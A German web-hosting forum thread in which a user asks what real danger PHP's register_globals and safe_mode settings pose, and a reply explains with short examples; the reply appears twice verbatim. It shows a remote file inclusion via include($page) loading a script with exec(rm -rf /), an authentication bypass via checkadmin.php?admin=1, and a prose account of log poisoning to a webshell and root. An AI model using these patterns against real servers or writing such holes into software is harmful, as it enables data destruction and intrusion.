hallo forum,
ständig lese ich berichte oder posts in denen man aufgefordert wird die o.g. variablen mal auf on, mal auf off zu stellen. mittlerweile sind sie auf meinen rechner (weil es anders realitätsfremd wäre, da einige leute ihre seiten au der maschine hosten und jeder andere ansprüche hat) auf unsecure. meine frage:
was ist denn die wirkliche gefahr bei den beiden? der safe_mode müsste doch wegen aktiviertem open_base_dir immer noch "entschärft" sein. und
wenn ich register_globals richtig verstanden habe ist das ein sicherheitsrisiko dass zu 90% auf der seite der webanwendung liegt (passwörter z.b. auslesen), den server selbst aber eigentlich nicht betrifft.
weiss jemand näheres?
thx
php register_globals / safe_mode frage
-
outofbound
- Posts: 470
- Joined: 2002-05-14 13:02
- Location: Karlsruhe City
Re: php register_globals / safe_mode frage
Hmm...
test.php:
<?php
include($page);
?>
Anfrage:
http://www.meinedomain.de/test.php?page ... script.txt
badscript.txt
<?php
exec(rm -rf /);
?>
Ist immer wieder toll...
register_globals:
checkadmin.php
<?php
if($password == "password") {
$admin = "1";
}
if($admin) {
//Zeige Konfigurationsdaten an
} else {
//Zeige Fehler an
}
?>
Aufruf:
checkadmin.php?admin=1
Da die meisten WebAnwendungen dann Editiermöglichkeiten bieten, bzw.
ihre Zugangsdaten offenbaren, kann der Server also ganz schnell
kompromitiert werden.
Mein Liebling bisher war übrigens folgendes:
Angreifer konnte PHP- Dateien auf dem Server ausführen, jedoch keinen Code
hochladen. Hat dann einfach HTTP- Requests abgesetzt, die PHP- Code in die
access.log- Files geschrieben hat du dann die Logfiles ausgeführt um ihm ne
Webshell aufzumachen. Von da an waren es nur noch ein paar Kleinigkeiten bis
zum root. Der gute hatte echt Ahnung von seinem Handwerk, dem muss ich
heute noch Respekt abringen... die Analyse was er alles gemacht hat dürfte
so um die 3 Wochen gedauert haben.
Gruss,
Out
PS: Nur ganz schnell zusammengeschraddelte Beispiele, bei Template- Engines
kann da ganz swchön schlimmes Zeugs passieren. Spätestens wenn der
Angreifer dann Code hochladen und ausführen kann (Oder noch besser,
binaries), hast du ein ordentliches Problem.
test.php:
<?php
include($page);
?>
Anfrage:
http://www.meinedomain.de/test.php?page ... script.txt
badscript.txt
<?php
exec(rm -rf /);
?>
Ist immer wieder toll...
register_globals:
checkadmin.php
<?php
if($password == "password") {
$admin = "1";
}
if($admin) {
//Zeige Konfigurationsdaten an
} else {
//Zeige Fehler an
}
?>
Aufruf:
checkadmin.php?admin=1
Da die meisten WebAnwendungen dann Editiermöglichkeiten bieten, bzw.
ihre Zugangsdaten offenbaren, kann der Server also ganz schnell
kompromitiert werden.
Mein Liebling bisher war übrigens folgendes:
Angreifer konnte PHP- Dateien auf dem Server ausführen, jedoch keinen Code
hochladen. Hat dann einfach HTTP- Requests abgesetzt, die PHP- Code in die
access.log- Files geschrieben hat du dann die Logfiles ausgeführt um ihm ne
Webshell aufzumachen. Von da an waren es nur noch ein paar Kleinigkeiten bis
zum root. Der gute hatte echt Ahnung von seinem Handwerk, dem muss ich
heute noch Respekt abringen... die Analyse was er alles gemacht hat dürfte
so um die 3 Wochen gedauert haben.
Gruss,
Out
PS: Nur ganz schnell zusammengeschraddelte Beispiele, bei Template- Engines
kann da ganz swchön schlimmes Zeugs passieren. Spätestens wenn der
Angreifer dann Code hochladen und ausführen kann (Oder noch besser,
binaries), hast du ein ordentliches Problem.
-
einsiedler
- Posts: 66
- Joined: 2004-09-20 16:53
Re: php register_globals / safe_mode frage
OK, hab mir das in Ruhe angeschaut und auch verstanden. Vielen Dank!